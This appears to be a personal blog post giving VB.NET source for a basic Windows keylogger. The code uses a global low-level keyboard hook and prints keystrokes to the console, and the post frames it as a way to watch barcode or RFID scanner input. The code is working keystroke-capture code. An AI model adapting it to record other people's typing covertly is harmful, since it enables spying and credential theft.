Simplest keylogger based on Win32 API SetWindowsHookExA
This is simplest Windows keylogger based on Win32 API https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa and Windows Virtual keyboard Virtual-Key Codes
This Keylooger can used as control ov various device what inject characters as keyboard input, for example various Barcode scanner or RFID scanner. In other case this keylogger can be part of this project Rebuilding my ancient API factory on modern way (Cryptor, Windows services, IIS management, Windows Task Scheduler, TcpListener, WCF, gRPC, Port Sharing service)
Interesting that my attempt to change input injected from scanner not changed input, just create additional data.
Firstly I want publish this code to Github, but because fucking Microsoft ban me again and again, now I have no right publish my code to Github.
Therefore I will publish my code in my blog without fucking Microsoft. I used this way many years (maybe since 2000 years), even before fucking Microsoft invent their project Github.
1: Imports System.Runtime.InteropServices
2: Imports System.Threading
3: Imports System.Windows.Forms
4:
5: Module Module1
6: Dim KeyboardVirtualKey As New Dictionary(Of Integer, String)
7: <DllImport("user32.dll")>
8: Public Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As HookCallbackDelegate, ByVal wParam As IntPtr, ByVal lParam As UInteger) As IntPtr
9: End Function
10: <DllImport("kernel32.dll")>
11: Public Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
12: End Function
13: <DllImport("user32.dll")>
14: Public Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
15: End Function
16: Private WH_KEYBOARD_LL As Integer = 13
17: Private WM_KEYDOWN As Integer = &H100
18: Sub Main(ByVal args As String())
19: KeyboardVirtualKeyIni()
20: Application.DoEvents()
21: Dim hcDelegate As HookCallbackDelegate = AddressOf HookCallback
22: Dim mainModuleName As String = Process.GetCurrentProcess().MainModule.ModuleName
23: Dim hook As IntPtr = SetWindowsHookEx(WH_KEYBOARD_LL, hcDelegate, GetModuleHandle(mainModuleName), 0)
24: Application.Run()
25: End Sub
26:
27: Dim I As Integer
28: Public Function HookCallback(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
29: If nCode >= 0 AndAlso wParam = CType(WM_KEYDOWN, IntPtr) Then
30: I = I + 1
31: Dim vkCode As Integer = Marshal.ReadInt32(lParam)
32: If vkCode = &HD Then
33: Console.WriteLine($" ({I})")
34: ElseIf KeyboardVirtualKey.ContainsKey(vkCode) Then
35: Console.Write($"{KeyboardVirtualKey(vkCode)}")
36: End If
37: End If
38: 'If I Mod 2 = 0 Then
39: Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
40: 'Else
41: 'attempt to change input injected from scanner not changed input, just create additional data.
42: 'Console.Write($"[{I}]")
43: 'Marshal.WriteInt32(lParam, 0)
44: 'Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
45: 'End If
46: End Function
47:
48: Public Delegate Function HookCallbackDelegate(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
49:
50: Sub KeyboardVirtualKeyIni()
51: KeyboardVirtualKey.Add(&H41, "A")
52: KeyboardVirtualKey.Add(&H42, "B")
53: KeyboardVirtualKey.Add(&H43, "C")
54: KeyboardVirtualKey.Add(&H44, "D")
55: KeyboardVirtualKey.Add(&H45, "E")
56: KeyboardVirtualKey.Add(&H46, "F")
57: KeyboardVirtualKey.Add(&H47, "G")
58: KeyboardVirtualKey.Add(&H48, "H")
59: KeyboardVirtualKey.Add(&H49, "I")
60: KeyboardVirtualKey.Add(&H4A, "J")
61: KeyboardVirtualKey.Add(&H4B, "K")
62: KeyboardVirtualKey.Add(&H4C, "L")
63: KeyboardVirtualKey.Add(&H4D, "M")
64: KeyboardVirtualKey.Add(&H4E, "N")
65: KeyboardVirtualKey.Add(&H4F, "O")
66: KeyboardVirtualKey.Add(&H50, "P")
67: KeyboardVirtualKey.Add(&H51, "Q")
68: KeyboardVirtualKey.Add(&H52, "R")
69: KeyboardVirtualKey.Add(&H53, "S")
70: KeyboardVirtualKey.Add(&H54, "T")
71: KeyboardVirtualKey.Add(&H55, "U")
72: KeyboardVirtualKey.Add(&H56, "V")
73: KeyboardVirtualKey.Add(&H57, "W")
74: KeyboardVirtualKey.Add(&H58, "X")
75: KeyboardVirtualKey.Add(&H59, "Y")
76: KeyboardVirtualKey.Add(&H5A, "Z")
77: KeyboardVirtualKey.Add(&H30, "0")
78: KeyboardVirtualKey.Add(&H31, "1")
79: KeyboardVirtualKey.Add(&H32, "2")
80: KeyboardVirtualKey.Add(&H33, "3")
81: KeyboardVirtualKey.Add(&H34, "4")
82: KeyboardVirtualKey.Add(&H35, "5")
83: KeyboardVirtualKey.Add(&H36, "6")
84: KeyboardVirtualKey.Add(&H37, "7")
85: KeyboardVirtualKey.Add(&H38, "8")
86: KeyboardVirtualKey.Add(&H39, "9")
87: 'KeyboardVirtualKey.Add(&HD, "_")
88: End Sub
89:
90: End Module
|